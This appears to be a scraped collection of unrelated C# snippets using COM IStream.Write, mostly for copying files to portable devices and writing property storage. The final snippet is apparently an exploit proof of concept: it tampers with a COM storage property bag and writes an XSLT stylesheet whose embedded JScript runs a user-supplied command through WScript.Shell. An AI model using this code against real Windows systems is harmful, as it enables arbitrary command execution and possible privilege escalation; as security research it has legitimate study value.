public override void Write(byte[] buffer, int offset, int count) { ReportDebugStream("StreamWrapper.Write, bufferlength={0}, offset={1}, count={2}\r\n", buffer.Length, offset, count); if (0 == offset) { _istream.Write(buffer, count, _int32Ptr); } else { var tempBuffer = new byte[count]; Buffer.BlockCopy(buffer, offset, tempBuffer, 0, count); _istream.Write(tempBuffer, count, _int32Ptr); } }
public void TransferContentToDevice(string fileName, string parentObjectId) { IPortableDeviceContent content; this._device.Content(out content); IPortableDeviceValues values = GetRequiredPropertiesForContentType(fileName, parentObjectId); PortableDeviceApiLib.IStream tempStream; uint optimalTransferSizeBytes = 0; content.CreateObjectWithPropertiesAndData( values, out tempStream, ref optimalTransferSizeBytes, null); System.Runtime.InteropServices.ComTypes.IStream targetStream = (System.Runtime.InteropServices.ComTypes.IStream)tempStream; try { using (var sourceStream = new FileStream(fileName, FileMode.Open, FileAccess.Read)) { var buffer = new byte[optimalTransferSizeBytes]; int bytesRead; do { bytesRead = sourceStream.Read( buffer, 0, (int)optimalTransferSizeBytes); IntPtr pcbWritten = IntPtr.Zero; if (bytesRead < (int)optimalTransferSizeBytes) { targetStream.Write(buffer, bytesRead, pcbWritten); } else { targetStream.Write(buffer, (int)optimalTransferSizeBytes, pcbWritten); } /*targetStream.Write( * buffer, (int)optimalTransferSizeBytes, pcbWritten);*/ } while (bytesRead > 0); } targetStream.Commit(0); } finally { Marshal.ReleaseComObject(tempStream); } }
public static uint Write(this IStream stream, byte[] buffer) { uint written = 0; stream.Write(buffer, buffer.Length, Pointer <uint> .AsPointer(ref written)); return(written); }
/// <summary> /// Writes bytes to the stream /// </summary> /// <param name="buffer">byte array which contains the bytes to write</param> /// <param name="offset">offset where to write the bytes</param> /// <param name="count">number of bytes to write</param> public override void Write(byte[] buffer, int offset, int count) { if (fileStream == null) { throw new ObjectDisposedException("theStream"); } if (offset != 0) { int i = (int)buffer.Length - offset; byte[] bs = new byte[i]; Array.Copy(buffer, offset, bs, 0, i); fileStream.Write(bs, i, IntPtr.Zero); return; } fileStream.Write(buffer, count, IntPtr.Zero); }
public static uint Write <T>(this IStream stream, T obj) { var ptr = Pointer <T> .AsPointer(ref obj); byte[] buffer = new byte[Pointer <T> .TypeSize()]; Marshal.Copy(ptr, buffer, 0, buffer.Length); return(stream.Write(buffer)); }
public void Commit() { System.Runtime.InteropServices.ComTypes.IStream ppstm = getStream("__properties_version1.0"); IntPtr pm = new IntPtr(); byte[] p = properties.ToArray(); ppstm.Write(p, p.Length, pm); ppstm.Commit(0); strge.Commit(0); properties.Close(); properties = null; }
protected void SetUTF(string key, uint keyValue, string value) { System.Runtime.InteropServices.ComTypes.IStream ppstm = getStream(key); IntPtr pm = new IntPtr(); byte[] p = Encoding.UTF8.GetBytes(value); ppstm.Write(p, p.Length, pm); ppstm.SetSize(p.Length); ppstm.Commit(0); Marshal.ReleaseComObject(ppstm); modifyProperty(keyValue, p.Length + 1); }
public void CopyTo(System.Runtime.InteropServices.ComTypes.IStream pstm, long cb, IntPtr pcbRead, IntPtr pcbWritten) { long count = this.stream.Length - this.stream.Position; if (cb < count) { count = cb; } byte[] buffer = new byte[count]; int read = this.stream.Read(buffer, 0, (int)count); pstm.Write(buffer, read, pcbWritten); if (pcbRead != IntPtr.Zero) { Marshal.WriteInt64(pcbRead, read); } }
/// <summary> /// 写入数据 /// </summary> /// <param name="sourceFile"></param> /// <param name="portableDevice"></param> /// <param name="parentId"></param> private static void TransferContentToDevice(string sourceFile, PortableDeviceClass portableDevice, string parentId) { IPortableDeviceContent content; portableDevice.Content(out content); IPortableDeviceValues values = GetRequiredPropertiesForContentType(sourceFile, parentId); IStream tempStream; uint optimalTransferSizeBytes = 0; content.CreateObjectWithPropertiesAndData(values, out tempStream, ref optimalTransferSizeBytes, null); System.Runtime.InteropServices.ComTypes.IStream targetStream = (System.Runtime.InteropServices.ComTypes.IStream)tempStream; try { using (FileStream sourceStream = new FileStream(sourceFile, FileMode.Open, FileAccess.Read)) { int bytesRead = 0; do { int count = 1024 * 1024; byte[] buffer = new byte[count]; bytesRead = sourceStream.Read(buffer, 0, count); IntPtr pcbWritten = IntPtr.Zero; targetStream.Write(buffer, bytesRead, pcbWritten); }while (bytesRead > 0); } targetStream.Commit(0); } finally { Marshal.ReleaseComObject(tempStream); } }
/// <summary> /// 写入数据 /// </summary> /// <param name="sourceFile"></param> /// <param name="parentId"></param> public bool TransferContentToDevice(string sourceFile, string parentId) { bool bRet = true; IPortableDeviceValues values = GetRequiredPropertiesForContentType(sourceFile, parentId); PortableDeviceApiLib.IStream tempStream = null; uint optimalTransferSize = 0; try { deviceContent.CreateObjectWithPropertiesAndData(values, out tempStream, ref optimalTransferSize, null); System.Runtime.InteropServices.ComTypes.IStream targetStream = (System.Runtime.InteropServices.ComTypes.IStream)tempStream; using (FileStream sourceStream = new FileStream(sourceFile, FileMode.Open, FileAccess.Read)) { int filesize = (int)optimalTransferSize; int bytesRead = 0; IntPtr pcbWritten = IntPtr.Zero; do { byte[] buffer = new byte[filesize]; bytesRead = sourceStream.Read(buffer, 0, filesize); targetStream.Write(buffer, bytesRead, pcbWritten); }while (bytesRead > 0); } targetStream.Commit(0); } catch (Exception) { bRet = false; } finally { Marshal.ReleaseComObject(tempStream); } return(bRet); }
// UPLOAD file public bool UploadFileToWPD(string fileName, string parentObjectId) { bool success = false; IPortableDeviceContent content; this._device.Content(out content); IPortableDeviceValues values = this.GetRequiredPropertiesForContentType(fileName, parentObjectId); PortableDeviceApiLib.IStream tempStream; uint optimalTransferSizeBytes = 0; content.CreateObjectWithPropertiesAndData(values, out tempStream, ref optimalTransferSizeBytes, null); System.Runtime.InteropServices.ComTypes.IStream targetStream = (System.Runtime.InteropServices.ComTypes.IStream)tempStream; try { using (FileStream sourceStream = new FileStream(fileName, FileMode.Open, FileAccess.Read)) { byte[] buffer = new byte[optimalTransferSizeBytes]; int bytesRead; do { bytesRead = sourceStream.Read(buffer, 0, (int)optimalTransferSizeBytes); IntPtr pcbWritten = IntPtr.Zero; if (bytesRead > 0) { targetStream.Write(buffer, bytesRead, pcbWritten); } } while (bytesRead > 0); } targetStream.Commit(0); success = true; } catch { success = false; } finally { System.Runtime.InteropServices.Marshal.ReleaseComObject(tempStream); } return(success); }
internal void CopyToDevice(string source, string destination, bool overwrite) { IPortableDeviceContent content; ComDeviceObject.Content(out content); string parentObjectId = null; FindParentObjectId(Path.GetDirectoryName(destination), ref parentObjectId); if (string.IsNullOrEmpty(parentObjectId)) { throw new Exception("destination folder has not been found."); } IPortableDeviceValues values = GetRequiredPropertiesForContentType(source, destination, parentObjectId); PortableDeviceApiLib.IStream wpdStream = null; uint optimalTransferSize = 0; content.CreateObjectWithPropertiesAndData( values, out wpdStream, ref optimalTransferSize, null); System.Runtime.InteropServices.ComTypes.IStream targetStream = null; try { targetStream = (System.Runtime.InteropServices.ComTypes.IStream)wpdStream; FileStream sourceStream = new FileStream(source, FileMode.Open, FileAccess.Read); unsafe { try { var buffer = new byte[optimalTransferSize]; int bytesRead; do { bytesRead = sourceStream.Read(buffer, 0, (int)optimalTransferSize); IntPtr pcbWritten = IntPtr.Zero; if (bytesRead < (int)optimalTransferSize) { targetStream.Write(buffer, bytesRead, pcbWritten); } else { targetStream.Write(buffer, (int)optimalTransferSize, pcbWritten); } } while (bytesRead > 0); targetStream.Commit(0); } catch (ArgumentException e) { throw new Exception("Some argument has problem, remember this API can't overwrite" + "file on the device side! message: " + e.Message); } finally { sourceStream.Close(); } } } finally { Marshal.ReleaseComObject(wpdStream); Marshal.ReleaseComObject(targetStream); } }
public bool CopyFileToDevice(string sourceName, string destinationName, bool deleteOriginal = true) { bool result; PortableDeviceFile file; FileStream fs; PortableDeviceFolder destinationFolder; IStream stream; destinationFolder = this.GetFolder(GetDirectoryNameUnsafe(destinationName)); if (destinationFolder != null) { result = false; fs = new FileStream(sourceName, FileMode.Open, FileAccess.Read); if (fs != null) { if (deleteOriginal == true) { file = GetCachedFile(destinationName) as PortableDeviceFile; if (file == null) { file = GetFile(destinationName); } if (file != null) { DeleteFile(destinationName); } } stream = CreateAndOpenFile(destinationName, fs.Length); if (stream != null) { // IPortableDeviceResources resources; // file.content.Transfer(out resources); destinationFolder.parentDevice.Connect(); //PortableDeviceApiLib.IStream wpdStream; //uint optimalTransferSize = 0; //resources.GetStream(file.Id, ref PortableDeviceConstants.WPD_RESOURCE_DEFAULT, PortableDeviceConstants.STGM_WRITE, ref optimalTransferSize, out wpdStream); _ULARGE_INTEGER c**t; //c**t.QuadPart = (ulong)fs.Length; //stream.SetSize(c**t); System.Runtime.InteropServices.ComTypes.IStream sourceStream = (System.Runtime.InteropServices.ComTypes.IStream)stream; //sourceStream.Commit(0); IntPtr pBytesWritten = Marshal.AllocHGlobal(4); byte[] buffer = new byte[1024]; int bytesRead, bytesWritten; do { bytesRead = fs.Read(buffer, 0, buffer.Length); sourceStream.Write(buffer, bytesRead, pBytesWritten); bytesWritten = Marshal.ReadInt32(pBytesWritten); } while (bytesRead > 0 && bytesWritten > 0); sourceStream.Commit(0); Marshal.FreeHGlobal(pBytesWritten); fs.Close(); destinationFolder.parentDevice.Disconnect(); result = true; } else { throw new Exception("Unable to open file or create destination file"); } } else { throw new Exception("Unable to open source file for reading"); } } else { throw new Exception("Destination folder does not exist"); } return(result); }
// COPY inside of the same WPD public bool CopyInsideWPD2(PortableDeviceFile file, string parentObjectId) { bool success = false; // WPD source IPortableDeviceContent contentSrc; this._device.Content(out contentSrc); IPortableDeviceResources resourcesSrc; contentSrc.Transfer(out resourcesSrc); PortableDeviceApiLib.IStream wpdStreamSrc; uint optimalTransferSizeSrc = 0; _tagpropertykey propertySrc = new _tagpropertykey(); propertySrc.fmtid = new Guid(0xE81E79BE, 0x34F0, 0x41BF, 0xB5, 0x3F, 0xF1, 0xA0, 0x6A, 0xE8, 0x78, 0x42); propertySrc.pid = 0; resourcesSrc.GetStream(file.Id, ref propertySrc, 0, ref optimalTransferSizeSrc, out wpdStreamSrc); System.Runtime.InteropServices.ComTypes.IStream streamSrc = (System.Runtime.InteropServices.ComTypes.IStream)wpdStreamSrc; // WPD destination IPortableDeviceContent contentDst; this._device.Content(out contentDst); IPortableDeviceValues values = this.GetRequiredPropertiesForCopyWPD(file, parentObjectId); PortableDeviceApiLib.IStream tempStream; uint optimalTransferSizeBytes = 0; contentDst.CreateObjectWithPropertiesAndData(values, out tempStream, ref optimalTransferSizeBytes, null); System.Runtime.InteropServices.ComTypes.IStream streamDst = (System.Runtime.InteropServices.ComTypes.IStream)tempStream; try { unsafe { byte[] buffer = new byte[1024]; int bytesRead; do { // read from source streamSrc.Read(buffer, 1024, new IntPtr(&bytesRead)); // write to destination IntPtr pcbWritten = IntPtr.Zero; if (bytesRead > 0) { streamDst.Write(buffer, bytesRead, pcbWritten); } } while (bytesRead > 0); } success = true; streamDst.Commit(0); } catch (Exception) { success = false; } finally { System.Runtime.InteropServices.Marshal.ReleaseComObject(tempStream); System.Runtime.InteropServices.Marshal.ReleaseComObject(streamSrc); System.Runtime.InteropServices.Marshal.ReleaseComObject(wpdStreamSrc); } return(success); }
unsafe public static void Save(System.Runtime.InteropServices.ComTypes.IStream stream, object data) { // Exit if Stream or DataTable is NULL if (stream == null) { return; } if (data == null) { return; } //COM objects needs special care... if (Marshal.IsComObject(data)) { //*** Create XmlWriter *** IXMLWriter xmlWriter = new XMLWriterClass(); //*** Create XmlStream *** IXMLStream xmlStream = new XMLStreamClass(); //*** Write the object to the stream *** xmlWriter.WriteTo(xmlStream as IStream); //*** Serialize object *** IXMLSerializer xmlSerializer = new XMLSerializerClass(); xmlSerializer.WriteObject(xmlWriter, null, null, "arcobject", "http://www.esri.com/schemas/ArcGIS/9.2", data); string str = xmlStream.SaveToString(); data = (object)str; if (null == data) { return; } } //make sure that the object is serializable if (!data.GetType().IsSerializable) { throw new Exception("Object is not serializable."); } // Convert the string into a byte array MemoryStream memoryStream = new MemoryStream(); BinaryFormatter binaryFormatter = new BinaryFormatter(); binaryFormatter.Serialize(memoryStream, data); byte[] bytes = memoryStream.ToArray(); memoryStream.Close(); // Get Memory Pointer to Int32 int cb; int *pcb = &cb; // write the object to the structured stream byte[] arrLen = BitConverter.GetBytes(bytes.Length); // Get Byte Length stream.Write(arrLen, arrLen.Length, new IntPtr(pcb)); // Write Byte Length stream.Write(bytes, bytes.Length, new IntPtr(pcb)); // Write Btye Array if (bytes.Length != cb) { throw new Exception("Error writing object to stream"); } }
/** * Copy To Phone */ public void TransferContentToDevice(PortableDeviceFolder parentFolder, string filePath) { PortableDeviceApiLib.IStream tempStream = null; System.Runtime.InteropServices.ComTypes.IStream targetStream = null; try { string fileName = PortableDeviceFolder.last(filePath, "\\"); // Remove existing remote file, if it exists. parentFolder.DeleteFile(this, fileName); // make sure that we are not holding on to a file. DisconnectConnect(); string parentObjectId = parentFolder.Id; IPortableDeviceContent content = getContents(); IPortableDeviceValues values = GetRequiredPropertiesForContentType(filePath, parentObjectId); uint optimalTransferSizeBytes = 0; content.CreateObjectWithPropertiesAndData( values, out tempStream, ref optimalTransferSizeBytes, null); targetStream = (System.Runtime.InteropServices.ComTypes.IStream)tempStream; long length = new System.IO.FileInfo(filePath).Length; long written = 0; long lPCt = 0; using (var sourceStream = new FileStream(filePath, FileMode.Open, FileAccess.Read)) { var buffer = new byte[optimalTransferSizeBytes]; int bytesRead; do { bytesRead = sourceStream.Read(buffer, 0, (int)optimalTransferSizeBytes); IntPtr PCbWritten = IntPtr.Zero; targetStream.Write(buffer, bytesRead, PCbWritten); written += bytesRead; long PCt = length > 0 ? (100 * written) / length : 100; if (PCt != lPCt) { lPCt = PCt; Console.WriteLine("Progress: " + lPCt); } } while (bytesRead > 0); } targetStream.Commit(0); } catch (Exception ex) { Console.WriteLine(ex.Message); throw ex; } finally { if (null != targetStream) { Marshal.ReleaseComObject(targetStream); } if (null != tempStream) { Marshal.ReleaseComObject(tempStream); } Disconnect(); } }
static void Main(string[] args) { if (args.Length > 0) { RunComServer(); } else { dynamic obj = null; try { obj = Activator.CreateInstance(Type.GetTypeFromCLSID(typeof(COMService).GUID)); } catch (Exception) { Console.WriteLine("Couldn't create object, running as server instead"); RunComServer(); return; } try { IStorage stg = obj.GetStorage(); Console.WriteLine("Specify command line to start"); string cmdline = Console.ReadLine().Trim(); IStorage new_stg = stg.CreateStorage("TestStorage", 2 | 0x1000 | 0x10, 0, 0); Console.WriteLine("new_stg: {0}", new_stg); IPropertyBag bag = (IPropertyBag)new_stg; Console.WriteLine("Bag: {0}", bag); PROPVARIANT var = new PROPVARIANT(new FakeObject()); bag.Write("X", var); Console.WriteLine("Completed Write"); new_stg.Commit(0); Marshal.ReleaseComObject(bag); Marshal.ReleaseComObject(new_stg); new_stg = stg.OpenStorage("TestStorage", IntPtr.Zero, 0x12, IntPtr.Zero, 0); bag = (IPropertyBag)new_stg; var = new PROPVARIANT(0); Console.WriteLine("Reading back steam"); bag.Read("X", var, IntPtr.Zero); System.Runtime.InteropServices.ComTypes.IStream stm = (System.Runtime.InteropServices.ComTypes.IStream)var.ToObject(); stm.Seek(16, 0, IntPtr.Zero); byte[] arr = Encoding.ASCII.GetBytes("<xsl:stylesheet version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' xmlns:msxsl='urn:schemas-microsoft-com:xslt' xmlns:user='******'> <msxsl:script language='JScript' implements-prefix='user'> function xml(nodelist) { var o = new ActiveXObject('WScript.Shell'); o.Exec('%CMDLINE%'); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match='/'> <xsl:value-of select='user:xml(.)'/> </xsl:template> </xsl:stylesheet>".Replace("%CMDLINE%", cmdline)); stm.Write(arr, arr.Length, IntPtr.Zero); Console.WriteLine("Done Write"); Marshal.ReleaseComObject(stm); Marshal.ReleaseComObject(bag); Marshal.ReleaseComObject(new_stg); new_stg = stg.OpenStorage("TestStorage", IntPtr.Zero, 0x12, IntPtr.Zero, 0); bag = (IPropertyBag)new_stg; var = new PROPVARIANT(); Console.WriteLine("Reading back steam"); bag.Read("X", var, IntPtr.Zero); dynamic doc = var.ToObject(); Console.WriteLine("Done Read {0}", doc); doc.setProperty("AllowXsltScript", true); doc.transformNode(doc); } catch (Exception ex) { Console.WriteLine("Error: {0}", ex.Message); } } }